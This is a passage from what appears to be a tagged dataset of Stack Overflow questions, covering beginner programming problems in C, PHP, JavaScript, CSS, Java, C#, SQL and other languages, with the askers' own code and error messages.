wordinmorse [4 * letter] =  ..- ;          if (word [letter] ==  v ) wordinmorse [4 * letter] =  ...- ;          if (word [letter] ==  w ) wordinmorse [4 * letter] =  .-- ;          if (word [letter] ==  x ) wordinmorse [4 * letter] =  -..- ;          if (word [letter] ==  y ) wordinmorse [4 * letter] =  -.-- ;          if (word [letter] ==  z ) wordinmorse [4 * letter] =  --.. ;          printf ( %s   &amp;wordinmorse [letter]);    } </code></pre>   after running the program and writting a word  it crashes and in the build messages tab  every line with <code>if (word [letter] ==  /*letter*/  wordinmorse [4 * letter] =  /*morse*/ ;</code>) says that  overflow in implicit constant conversion [-woverflow]  and  multi-character character constant [-wmultichar] .,c
alternative to label.visible =true/false  i feel like i m doing something wrong for a long time already. i usually have some fields  for example: lets take upload control i select a file and then click upload button. so it should tell me whether there was  no file selected  or  uploaded successfully . what i do is: i hide both labels and then i enable them in code behind depending on condition. if i am going to change file again  or i have more states  then my code become messy with a lot of label.visible=true statements. how do you handle this thing     thanks!,asp.net
perform parts of function with time space java script  i have a function    <pre><code>plus() {     document.getelementsbyclassname( like hintable )[0].click(); hide();alert ( test ) ; } </code></pre>   how could i run <code>document.getelementsbyclassname( like hintable )[0].click()</code><br> after two seconds run <code>hide()</code> after two other seconds run <code>alert</code>.         is there any way without creating 3 functions and use <code>settimeout</code> .,javascript
angularjs: bind html string with custom style  i want to bind a html string with an custom style to the dom. however <code>ngsanitize</code> removes the style from the string.    for example:    <em>in the controller:</em>   <pre><code>$scope.htmlstring =  &lt;span style= color: #89a000 &gt;123&lt;/span&gt;! ; </code></pre>   <em>and in dom:</em>   <pre><code>&lt;div data-ng-bind-html= htmlstring &gt;&lt;/div&gt; </code></pre>   will omit the style attribute. the result will look like:   <pre><code>&lt;div data-ng-bind-html= htmlstring &gt;&lt;span&gt;123&lt;/span&gt;!&lt;/div&gt; </code></pre>   instead of:   <pre><code>&lt;div data-ng-bind-html= htmlstring &gt;&lt;span style= color: #89a000 &gt;123&lt;/span&gt;!&lt;/div&gt; </code></pre>   <strong>question:</strong> how can i achieve this,angularjs
how to resize the size of div on button click if its in percentage javascript  i want to resize the div height on button click such that on each click its size reduce 1% in height.    i have this code   <pre><code>&lt;div id= xyz  style= width:100%;height:70%; &gt;   something code &lt;/div&gt; &lt;button onclick= reduce() &gt;reduce&lt;/button&gt; &lt;script&gt;   function reduce() {     var xyz = document.getelementbyid( xyz );     xyz.style.height = xyz.style.height-1%;   } &lt;/script&gt; </code></pre>,javascript
how to show messagebox/ alert in asp.net   how can i show a messagebox in my asp.net page  (i write with c#) whice lines i need to write,asp.net
can i display alternate text in my div if {{ user.username }} is null   in my text i have the code:   <pre><code>&lt;div&gt;{{ user.username }}&lt;/div&gt; </code></pre>   is there a way i can make this display the message  please login  if user.username is null. note i would like to code this business logic in the client not the controller.,angularjs
how to change if value 1 to get like general  as you can see in the picture  i want value should be somewhere else  i have 6 values ​​that goes up to    but would rather it go to another word use    <a href= http://image.prntscr.com/image/8c26c451b10a481f9a8d0aaba16bf311.png  rel= nofollow noreferrer >http://image.prntscr.com/image/8c26c451b10a481f9a8d0aaba16bf311.png</a>    as you can see in the picture  i want value should be somewhere else  i have 6 values ​​that goes up to    but would rather it go to another word use    <a href= http://image.prntscr.com/image/1d271a5f156842d0ac88c5f9c8e114aa.png  rel= nofollow noreferrer >http://image.prntscr.com/image/1d271a5f156842d0ac88c5f9c8e114aa.png</a>    as you see in the picture i want it to be like that. check is value 2 it will be something else. which appear on the image with the  support  that i let the last image   <pre><code>&lt; php     $con = mysql_connect( localhost   root   ** );     if($con)     {             $db = mysql_select_db( habix );             if($db)             {                     $sql =  select * from user_tickets_table ;                     $result = mysql_query($sql);                     if($result)                      {                          echo  &lt;table border= 1  style= width:100% &gt; ;                         echo  &lt;tr&gt; ;                         echo  &lt;th&gt;id&lt;/th&gt; ;                         echo  &lt;th&gt;tittel&lt;/th&gt; ;                         echo  &lt;th&gt;beskjed&lt;/th&gt; ;                         echo  &lt;th&gt;dato&lt;/th&gt; ;                         echo  &lt;th&gt;type&lt;/th&gt; ;                         echo  &lt;th&gt;svar&lt;/th&gt; ;                         echo  &lt;th&gt;mer muligheter&lt;/th&gt; ;                         echo  &lt;/tr&gt; ;                             while($row = mysql_fetch_array($result))                             {                                 echo  &lt;tr id=  .$row[ id ].  &gt; ;                                 echo  &lt;td&gt; .$row[ id ]. &lt;/td&gt; ;                                 echo  &lt;td&gt;&lt;textarea style= border:0px &gt; .$row[ title ]. &lt;/textarea&gt;&lt;/td&gt; ;                                 echo  &lt;td&gt;&lt;textarea style= border:0px &gt; .$row[ message ]. &lt;/textarea&gt;&lt;/td&gt; ;                                 echo  &lt;td&gt; .$row[ ticketdate ]. &lt;/td&gt; ;                                 echo  &lt;td&gt; .$row[ issue_no ]. &lt;/td&gt; ;                                 echo  &lt;td&gt; .$row[ response ]. &lt;/td&gt; ;                                 //echo  &lt;td&gt;&lt;button class= btn btn-primary  value=  .$row[ id ].   onclick= reply( .$row[ id ]. ) &gt;reply&lt;/button&gt;&lt;button class= btn btn-primary  onclick= remove( .$row[ id ]. ) &gt;delete&lt;/button&gt;&lt;/td&gt; ;                                 echo  &lt;td&gt; ;                                 echo  &lt;form action=   method= post &gt;&lt;input type= hidden  name= idd  value=  .$row[ id ].  /&gt;&lt;input type= submit  value= slett!  name= del  onclick= return mycheck(); /&gt;&lt;/form&gt; ;                                 echo  &lt;/td&gt; ;                                 echo  &lt;/tr&gt; ;                             }                          echo  &lt;/table&gt; ;                     }                     else echo  something is not right  either there are no messages or some another error ;             }             else echo  error establishing database connection ;     }     else echo  error establishing connection to server ;  &gt; </code></pre>,php
dynamic method dispatch/run-time polymorphism  how and when exactly the objects are created at run time  where is the dynamic binding taking place  can you give real time example for this  i know it binds method call to method implementation at run time based on object type! practically want to see how it happens  answer with the picture would be great!!    thank you so much :),java
java - .class not found issue  i have following code    <pre><code>class aa {      public static void main(string[] args) {          long ll = 100 ;          aa1 a1 = new aa1() ;          if(ll == 100) // marked line             long lls [] = a1.val(ll);      } }  class aa1 {      public long [] val (long ll1) {         long [] val = new long []{1   2  3};         return val ;     }  } </code></pre>   which executes properly without the marked line. however  gives error  .class expected  with marked line. can anybody help me what is the problem and how to solve this,java
c++ class string implementation  i was given two files  one with a .h file that i had to add methods/constructors too  and the other a .cpp file which would do the rest for me.    i added the methods and such as best i could  and then i got some help with some  but then with the rest it still didn t work.    <blockquote>    i get the following errors:        intellisense: no operator  ==  matches these  operand types are: const string1030 == string1030            error c2676: binary  ==  :  const string1030  does not define this operator or a conversion to a type acceptable to the predefined   operator<br>      error c2572:  string1030::string1030  : redefinition of default parameter : parameter 1  </blockquote>   <strong>my code:</strong>    <pre><code> #ifndef string1030_h     #define string1030_h      #include&lt;iostream&gt;      using std::ostream;     using std::istream;     using std::endl;     using std::cerr;      /*      * the class string1030 is for the students to practice implementing      * more class functions and making sure that their implementation      * is reasonable.      *      * it requires some skill in using arrays and overloading operators.      *      * note that the sentinel value that must be part of the storage for our      * strings is  \0 .  that is not special  it is just a way to tell future      * readers that we know what we are doing. we could just as well use the       * digit 0  but that can be very confusing.      */       class string1030     {              public:           // the constructor. the  0  is the digit 0 not a            // character. it is used to let us know that            // nothing is being passed to the default constructor.         string1030(const char *buf=0);           //this next is a  copy  constructor. remember that           //we have to create new storage and then copy           //the array content. we must not just copy the pointer.         string1030(const string1030&amp; oldstring);           // the destructor is needed because we are allocating memory.           // we must deallocate it when the object goes out of           // scope (is destroyed).         ~string1030();                string1030&amp; operator=(const string1030&amp; right);            // allows us to change the element at a certain index.           // refer to the intlist code.         char&amp; operator[](int index);            // returns the number of characters stored excluding the           // the sentinel value.         int getsize(void) const;           // resizes the storage. must include 1 extra space for the           // sentinel value.         void setsize(int newsize);           // returns a pointer to array storing the string.         const char *getstring();           // replace the existing string with a new one.          void setstring(const char *carray);             private:         char *buffer;         int mysize;      };      // basic constructor.     //     string1030 :: string1030(const char *buff=0): mysize(0)  buffer(0)     {       setsize(*buff);     }      //copy constructor     string1030::string1030(const string1030&amp; oldstring) : mysize(0)  buffer(0)     {         if (oldstring.getsize() &lt;= 0) {             setsize(0);         }         else {             setsize(oldstring.getsize());             for (int i = 0; i&lt; mysize; i++) {                 buffer[i] = oldstring.buffer[i];             }         }     }      // destructor call     string1030::~string1030()     {       setsize(0);     }      string1030&amp; string1030:: operator = (const string1030&amp; right){             // must take  address of  the argument to compare it to the             // this pointer.             if (right == *this) {                 cerr &lt;&lt;  warning:  attempt to copy intlist onto self  &lt;&lt; endl;             }             else {                 if (right.getsize() +1 &lt;= 0) {                     setsize(0);                 }                 else {                     setsize(right.getsize());                     for (int i = 0; i&lt; mysize +1 ; i++) {                         buffer[i] = right.buffer[i];                     }                 }             }             return *this;  // dereference the pointer to get the object         }      char&amp; string1030::operator[](int index)     {         if (index&lt;0 || index &gt;= mysize + 1) {             cerr &lt;&lt;  attempt to access element outside index bounds                  &lt;&lt; endl;             exit(4); // maybe not reasonable but what the heck.         }         else {             return buffer[index];         }     }      int string1030::getsize()  const     {         return mysize;     }      void string1030::setsize(int newsize)     {         if ( newsize &lt;0) {             cerr &lt;&lt;  warning:  attempt to set a size &lt; 0  &lt;&lt; endl;             exit(1);  // is this reasonable          }         else {             if (buffer != 0) {                 delete[] buffer;                 buffer = 0;                 mysize = 0;             }             if (newsize != 0) {                 buffer = new char[newsize+1];                 if (buffer == 0) {                     mysize = 0;                     cerr &lt;&lt;  warning:  unable to allocate enough space for list  &lt;&lt; endl;                     exit(2);                  }                 else {                     mysize = newsize;                 }             }         }            }      // returns a pointer to array storing the string.     const char* string1030:: getstring()     {         return    buffer;     }      // replace the existing string with a new one.      void  string1030::setstring(const char *carray)     {      int len = 0;     for ( int tmp = 0; carray[tmp] != 0; tmp ++){         len =  len + 1;     }      setsize(len);      for(int i=0; i &lt; len +1; i++){         buffer[i] = carray[i];     }        }  #endif </code></pre>   <strong>here is the other code:</strong>   <pre><code>#include&lt;iostream&gt; #include  string1030.h   using std::cout; using std::cin;  int main() {     // check out the use of the constructors    string1030 s( my string );   string1030 t(s);   string1030 x;   char in_buf[256];    cout &lt;&lt;  s size():   &lt;&lt; s.getsize() &lt;&lt; endl;   cout &lt;&lt;  t size():   &lt;&lt; t.getsize() &lt;&lt; endl;   cout &lt;&lt;  x size():   &lt;&lt; x.getsize() &lt;&lt; endl;    for(int i=0;i&lt;t.getsize();i++)     cout &lt;&lt; t[i];   cout &lt;&lt; endl;    // check the ability to modify one element of the string   s[2]= 5 ;    for(int i=0;i&lt;s.getsize();i++)     cout &lt;&lt; s[i];   cout &lt;&lt; endl;   // check the assignment operator   x=s;   cout &lt;&lt;  x:   &lt;&lt; x.getstring() &lt;&lt; endl;    // check the size reset.   x.setsize(30);   cout &lt;&lt;  input a string:  ;   cin &gt;&gt; in_buf;   x.setstring(in_buf);   cout &lt;&lt;   \nx:   &lt;&lt; x.getstring() &lt;&lt; endl;    //more checks on resize   //set to a negative value  nothing should change   s.setsize(-8);   cout &lt;&lt;  s size():   &lt;&lt; s.getsize() &lt;&lt; endl;    //set to 0  should be 0   s.setsize(0);   cout &lt;&lt;  s size():   &lt;&lt; s.getsize() &lt;&lt; endl;    //read into the 0 length array should not have an error   //and should not transfer any characters. output should not   //have any errors either.   cout &lt;&lt;  input a string:  ;   cin &gt;&gt; in_buf;   s.setstring(in_buf);   cout &lt;&lt;  s after cin&gt;&gt;:   &lt;&lt; s.getstring() &lt;&lt; endl;    //reset to something larger than 0   s.setsize(10);   cout &lt;&lt;  s size():   &lt;&lt; s.getsize() &lt;&lt; endl;    //read should work now   cout &lt;&lt;  input a string:  ;   cin &gt;&gt; in_buf;   s.setstring(in_buf);   cout &lt;&lt;  s after cin&gt;&gt;:   &lt;&lt; s.getstring() &lt;&lt; endl;    //now the assignment return value       x=t=s;    cout &lt;&lt;  t:   &lt;&lt; t.getstring() &lt;&lt; endl;   cout &lt;&lt;  x:   &lt;&lt; x.getstring() &lt;&lt; endl;     return 0;  } </code></pre>   i am not sure what is missing  the teacher said it was okay excepting needing to remove the  &amp;  on the part that says operator= but it didn t work. don t know what to do.,c++
mysql group by with condition  the below data shows time schedule having elective/ non-elective subjects of a student. my requirement is to select those rows when both elec and nonelec type has same period so in this case select elec type.<br/><br/> means for a day s schedule elective (type elec) should be given preference when both having same period. and when type elec does not has period like period 5 then select the non-elective one.    <img src= https://i.stack.imgur.com/1levi.jpg  alt= enter image description here >    <strong>my query</strong>   <pre><code>select s.sch_id  s.sch_subtype  sd.sdetail_id  sd.sdetail_period from schedule s inner join schedule_detail sd on s.sch_id = sd.sdetail_schedule where   2014-04-30  between sch_datefrom and sch_dateto and  (   (     sch_section =1     and sch_subtype =   nonelec    )   or    (     sch_subtype =   elec      and 272      in      (           select edetail_stuid       from elective_detail       where edetail_elective = sch_section     )   ) ) and sch_course =3 and sch_batch =2 and sch_termid =2 and sdetail_day =   wed  and sdetail_period &gt;0 and case when sch_subtype =   nonelec  then 1 =1 when sch_subtype =   elec  then sdetail_subject &gt;0 and sdetail_faculty &gt;0 and sdetail_room &gt;0 end group by case when sch_subtype =   elec  then sdetail_period else 1  end order by sdetail_period </code></pre>   <strong>output of above query</strong>    <img src= https://i.stack.imgur.com/1khxh.jpg  alt= enter image description here >    <strong>required output</strong>    <img src= https://i.stack.imgur.com/3d5vs.jpg  alt= enter image description here >,mysql
the type  string  must be a non-nullable value type in order to use it as parameter  t  in the generic type or method  i followed the suggestion around this web site to made the following method:   <pre><code>public static t  getelementvalue&lt;t&gt;(this xelement xelement  string s)      where t : struct  icomparable {      var result = new nullable&lt;t&gt;();       try      {          if (string.isnullorempty(s) || s.trim().length &gt; 0 || xelement.isempty)             return result;           var element = xelement.element(s);           if (element == null || element.isempty)              return result;           var conv = typedescriptor.getconverter(typeof(t));          result = (t)conv.convertfrom(element.value);      }      catch (exception ex)      {           ex.message.writeaserror();      }       return result; } </code></pre>   but when i try to use it with a <code>string</code> i still get the following error: the type  string  must be a non-nullable value type in order to use it as parameter  t  in the generic type or method    someone can tell me why  thx,c#
how to determine the java jdk version and sdk version   i am having  eclipse ide for java developers  and runtime environment 6.0. my question is how can i determine my sdk version and jdk version.    and also help on how to add bouncy castle to work with my eclipse.,java
"place float elements in a row in div container  i m trying to place a calender inside a transparent div container  however i m having some issues  i want each calender box to form a row that takes up 100% in width in the transparent box. so basically at the moment the page looks like this: <a href= https://i.stack.imgur.com/k261k.png  rel= nofollow noreferrer >screenshot</a>.    what you probably noticed is if you look at container with the  click on the images text  is that the box is wider than the rows under it.     this is the css code for the calender: basically everything relating to  .transbox has something to do with the transparent box. the calender days are the classes .weekdayssttart and weekdays. the remaining classes are the calender days with numbering. so since there is 7 days a week i just thought that i had to divide 100/7 which is 14.2857142857 and set each box type to that width in percentage. however this is the result i get: <a href= https://i.stack.imgur.com/airkz.png  rel= nofollow noreferrer >screenshot2</a>. what i obviously notice is that the row is to small to contain the calender boxes  does anyone have an idea to fix this  sorry for my bad english.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.transbox {
     background: #fff;
     padding: 2%;
     width: 70%;
     margin-left: 15%;
     margin-bottom: 1%;
     position: relative;
     background-color:rgba(255 255 255 .9);
     border-radius: 5px;
     box-shadow: 0px 8px 16px 0px rgba(0 0 0 .9);
     overflow: auto;
 }
 
 .transbox p {
     color: darkslategray;
     margin-bottom: 2%;
     font-size:13px;
 }
 
 .transbox img {
     width:100%;
     height: 100%;
 }
 
 .weekdaysstart {
     width: 14%;
     height: 20px;
     background-color:floralwhite;
     border: 1px solid darkslategrey;
     text-align:center;
     float: left;
 }
 
 .weekdays {
     width: 14%;
     height: 20px;
     background-color:floralwhite;
     border: 1px solid darkslategrey;
     text-align:center;
     float: left;
 }
 
 .hint {
     width: 99%;
     height: 20px;
     background-color:floralwhite;
     border: 1px solid darkslategrey;
     text-align:center;
     padding-top: 5px;
    
 }
 
 .one {  
   background-color: floralwhite;
   width: 14%;
   height: 100px;
   float: left;
   border: 1px solid darkslategrey;
   color: darkslategrey;  
     
 }
 
 .nextrow {
   background-color: floralwhite;
   width: 14%;
   height: 100px;
   float: left;
   clear:left;
   border: 1px solid darkslategrey;
   color: darkslategrey;
   
 
 }
 
 .nextmonth { 
   background-color: floralwhite;
   width: 14%;
   height: 100px;
   float: left;
   border: 1px solid darkslategrey;
   color: darkslategrey; 
 }
 
 .lastrow {
   width: 14%;
   height: 100px;
   float: left;
   border: 1px solid darkslategrey;
   color: darkslategrey;
   background-color: floralwhite;
   margin-bottom:2%;
 }
 
 .pancakes {
     width: 14%;
     height: 100px;
     float:left;
     background: url(images/pancakes.jpeg);
     background-size: cover;
     border: 1px solid darkslategrey;
 }
 
 .meatballs {
     width: 14%;
     height: 100px;
     float:left;
     border: 1px solid darkslategrey;
     background: url(images/kotbulls.jpg);
     background-size: cover;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
  &lt;title&gt;tasty recipes&lt;/title&gt;
  &lt;link href= reset.css  rel= stylesheet  type= text/css &gt;
  &lt;link href= stylesheet.css  rel= stylesheet  type= text/css &gt;
  &lt;meta content= text/html; charset=utf-8  http-equiv= content-type &gt;
 &lt;/head&gt;
 &lt;body&gt;
  &lt;ul&gt;
   &lt;li&gt;&lt;a href= index.html &gt;home&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= recipes.html &gt;recipes&lt;/a&gt;&lt;/li&gt;
   &lt;li&gt;&lt;a href= calendar.html &gt;calendar&lt;/a&gt;&lt;/li&gt;
   &lt;li class= tastyrecipes &gt;tasty recipes&lt;/li&gt;
  &lt;/ul&gt;
  &lt;h1&gt;calendar&lt;/h1&gt;
  &lt;h3&gt;november 2017&lt;/h3&gt;
     &lt;div class =  transbox &gt;
  &lt;div class= hint &gt;
   &lt;p&gt;click on the image of a dish to go to its recipe-page.&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= weekdaysstart &gt;
   &lt;p&gt;monday&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= weekdays &gt;
   &lt;p&gt;tuesday&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= weekdays &gt;
   &lt;p&gt;wednesday&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= weekdays &gt;
   &lt;p&gt;thursday&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= weekdays &gt;
   &lt;p&gt;friday&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= weekdays &gt;
   &lt;p&gt;saturday&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= weekdays &gt;
   &lt;p&gt;sunday&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= nextrow &gt;
   &lt;p&gt;30&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;31&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;1&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;2&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;3&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;4&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;5&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= nextrow &gt;
   &lt;p&gt;6&lt;/p&gt;
  &lt;/div&gt;
     &lt;a href= meatballs.html &gt;
  &lt;div class= meatballs &gt;
   &lt;p&gt;7&lt;/p&gt;
  &lt;/div&gt;
     &lt;/a&gt;
  &lt;div class= one &gt;
   &lt;p&gt;8&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;9&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;10&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;11&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;12&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= nextrow &gt;
   &lt;p&gt;13&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;14&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;15&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;16&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;17&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;18&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;19&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= nextrow &gt;
   &lt;p&gt;20&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;21&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;22&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;23&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= one &gt;
   &lt;p&gt;24&lt;/p&gt;
  &lt;/div&gt;
     &lt;a href= pancakes.html &gt;
  &lt;div class= pancakes &gt;
   &lt;p&gt;25&lt;/p&gt;
  &lt;/div&gt;
     &lt;/a&gt;
  &lt;div class= one &gt;
   &lt;p&gt;26&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= nextrow &gt;
   &lt;p&gt;27&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= lastrow &gt;
   &lt;p&gt;28&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= lastrow &gt;
   &lt;p&gt;29&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= lastrow &gt;
   &lt;p&gt;30&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= nextmonth &gt;
   &lt;p&gt;1&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= nextmonth &gt;
   &lt;p&gt;2&lt;/p&gt;
  &lt;/div&gt;
  &lt;div class= nextmonth &gt;
   &lt;p&gt;3&lt;/p&gt;
  &lt;/div&gt;
     &lt;/div&gt;
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>",css
iphone keyboard | search  i have a search field i am wanting to ensure the  go  button appears for the iphone keyboard and once the user has inputed their search or tap out of the input for the keyboard to disappear.     searched through stackoverflow and some suggestions were to change the input type to  search . this did nothing but change the appearance of the input field.,html
how to use class name as parameter in c#  what i want to do is to automatically create some object.    in java  class can be pass as parameter  for example     <pre><code>class a{  }   object createobjectby(class clazz){        // .. do construction work here }  when using it  just ---&gt; createobjectby(a.class) </code></pre>   it is benefit for a lot of things.    so  how can i do similar thing in c#,c#
minimize memory use in c  i am doing this program its working correctly but the only problem is that when value of int c is 8 digit number it uses 320kib memory how can i minimize memory use in this program     <strong>here is my code</strong> <strong>1&lt;=q&lt;=pow(10 5)</strong> <strong>1&lt;=c&lt;=pow(10 7)</strong>    <strong>c programe</strong>   <pre><code>#include &lt;stdio.h&gt;  struct stack{ int info; struct stack *next; };  typedef struct stack node; node *start=null *last *neu; </code></pre>   <strong>push()</strong>    <pre><code>void push(int x) {     neu = (node *)malloc(sizeof(node));     neu-&gt;info = x;     neu-&gt;next = null;     if(start==null)     {         start = last = neu;     }     else     {         neu-&gt;next = last;         last = neu;     }  } </code></pre>   <strong>pop()</strong>   <pre><code>void pop()            //updated {   node *temp;      //updated     if(start==null)     {         printf( no food\n );     }     else     {            printf( %d\n  last-&gt;info);         temp = last;         last = last-&gt;next;         free(temp);     } } </code></pre>   <strong>main()</strong>   <pre><code>int main() {        int q type;     int c;     scanf( %d  &amp;q);     while(q!=0)     {         scanf( %d  &amp;type);          if(type == 1)         {             pop();         }          if(type == 2)         {             scanf( %d  &amp;c);             push(c);         }         q--;     }     return 0; } </code></pre>,c
ios maintaing selected button in tableview when scrolling  i have a uitableview with custom cell. there are multiple sections  and in those sections multiple rows. in each cell  i have a segment button for  yes  and  no  selections. i would like to maintain the selections for the segment button when i scroll up and down the table. can anyone please help. i have looked and did not find anything that helped me. thank you!,ios
notice undefined index <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/4261133/php-notice-undefined-variable-and-notice-undefined-index >php: “notice: undefined variable”  and “notice: undefined index”</a><br>   <a href= https://stackoverflow.com/questions/12769982/reference-what-does-this-error-mean-in-php >reference - what does this error mean in php </a>    </blockquote>    <blockquote>    notice: undefined index: ac in c:\xampp\htdocs\cms\includes\login.php   on line 6        notice: undefined index: logged in   c:\xampp\htdocs\cms\includes\login.php on line 13  </blockquote>   i am receiving the above notices with the below code. how can i define my indexes  i understand there is a way to use isset but i am not sure how to do it with $_session logged and users; since there are multiple values. how would i clear up the above errors in a correct manner without just suppressing notices/errors    <pre><code>&lt; php session_start(); // initialize session include($_server[ document_root ] .           /cms/cmscontroller.php );  if ($_post[ ac ]== log ) { /// do after login form is submitted        if ($users[$_post[ username ]]==$_post[ password ]) { /// check if submitted username and password exist in $users array            $_session[ logged ]=$_post[ username ];       } else {            echo  incorrect username/password. please  try again. ;       };  };  if (array_key_exists($_session[ logged ] $users)) { //// check if user is logged or not       echo  you are logged in. ;     header( location: /cms/index.php ); } else { //// if not logged show login form       echo  &lt;form action= login.php  method= post &gt;&lt;input type= hidden  name= ac  value= log &gt;  ;       echo  username: &lt;input type= text  name= username  /&gt; ;       echo  password: &lt;input type= password  name= password  /&gt; ;       echo  &lt;input type= submit  value= login  /&gt; ;       echo  &lt;/form&gt; ;  };   &gt; </code></pre>,php
css center in ie6  7  and 8  this code works for ie7 and 8 but not for 6. how can i get it to work for 6. or is there a better way to do it    <pre><code>#contentloading { width:90px; height: 90px; position: fixed; top: 50%; left: 50%; background:url(_img/ajax-loader4.gif) no-repeat center #fff; text-align:center; padding:10px; font:normal 16px tahoma  geneva  sans-serif; border:2px solid #666; margin-left: -50px; margin-top: -50px; z-index:2; overflow: auto; } </code></pre>,css
does anyone know where asp themes are   does anyone know where i can go to get some asp themes for visual studio  i ve googled it  but it doesn t seem that there are many out there. i was hoping someone here knew something that i don t. thanks,asp.net
uitextview rich text   i was wondering if uitextview can display rich text  i want to have simple formatting on my read only text (like different alignment for different parts of the text). if not  what view should i use,iphone
html - get data for each button  i m trying to have a login and register button  when the login button gets clicked i want to specify it s a login action and when it s a register action i want to specify that in the url. is there some sort of attribute to define default get data which is always in there url (plus the input data)     this is my current code:   <pre><code>        &lt;form class= login-form  onsubmit= return validate();  method= get  action= php/login.php &gt;             &lt;input class= login-element credential  placeholder= username  id= username  name= username /&gt;             &lt;button class= login-element button  type= submit &gt;login&lt;/button&gt;             &lt;button class= login-element button  type= submit &gt;register&lt;/button&gt;         &lt;/form&gt; </code></pre>,html
why doesn t jquery s removeattr always work   when trying to see why removeattr doesn t always seem to work i tried.     <pre><code>$( div#mydiv ).css( height   200px );   $( table ).removeattr( border );   $( #mydiv ).removeattr( height );   </code></pre>   the table borders attribute is removed ok but not the div height attribute. i need to use other suggested methods such as     <pre><code>$( #mydiv ).css( height   auto )   </code></pre>   to alter it but not actually remove it.      i would be interested to know what makes removeattr not work in this scenario  there is no other css anywhere.,jquery
how to convert hex to binary   for objective-c:    hi everyone  i m trying to convert a hex input into binary. for example  someone enters in :   <pre><code>a55 </code></pre>   i want that to convert to   <pre><code>101001010101 </code></pre>   i ve tried looking through past posts and none seem to be working for me. any help would be greatly appreciated.,objective-c
business components: when to introduce them  i am performing a code review (vs2008/.net 3.5). the development team has created several data access components in a dac assembly.    i encountered a business proces assembly where every dac is wrapped with a business component with no additional value or code.    is this a right premature architectual step   just to be prepared for something going to happen like: caching or validation or transactions  all these last mentioned topics are not the case right now but could happen in the future.    i made a comment in the review that introducing this kind of architectual preparations is bloating the code-base. so try to introduce it only when it is really needed.    what are your experiences about this issue,.net
admin plugins for rails  i m looking for a good admin plugin/gem for a rails 3 application. i have tested rails_admin and it seems very good. has anybody used any other plugins for rails 3.0     also has anybody had any issues with rails_admin,ruby-on-rails
add multi class to div  i wrote this script to ckech div hover. after hovering on div i want to change class of div to multi class   <pre><code>$( #chkm ).hover(function(){      $( #chkm ).addclass( .main-quiz-holder .slide-container #hdiv ); }); </code></pre>   my div:   <pre><code>&lt;div style= float: right;  id= mdiv  &gt;   &lt;ul class= styledlist  &gt;      &lt;img src= images/system_help.png  id= ckekekala  width= 18px /&gt;   &lt;/ul&gt; &lt;/div&gt; </code></pre>   my css:   <pre><code>.main-quiz-holder .slide-container #mdiv {     cursor: pointer;     padding: 6px 10px;     margin: 5px 5px;     font-size:11px;     color: rgb(76  76  76);     border-radius: 4px 4px 4px 4px;     text-shadow: 0px 1px 0px rgba(255  255  255  0.3);     box-shadow: 0px 0px 0px 1px rgba(255  255  255  0.2) inset  0px 0px 6px 0px rgba(255  255  255  0.3) inset  0px 1px 2px rgba(0  0  0  0.4);     background: -moz-linear-gradient(center top   rgb(246  246  246)  rgb(212  212  212)) repeat scroll 0% 0% rgb(246  246  246);     border: 1px solid rgb(161  161  161); } .main-quiz-holder .slide-container #hdiv {     background: #ebe9f9;      background: -moz-linear-gradient(top  #ebe9f9 0%  #d8d0ef 50%  #cec7ec 51%  #c1bfea 100%);     background: -webkit-gradient(linear  left top  left bottom  color-stop(0% #ebe9f9)  color-stop(50% #d8d0ef)  color-stop(51% #cec7ec)  color-stop(100% #c1bfea));     background: -webkit-linear-gradient(top  #ebe9f9 0% #d8d0ef 50% #cec7ec 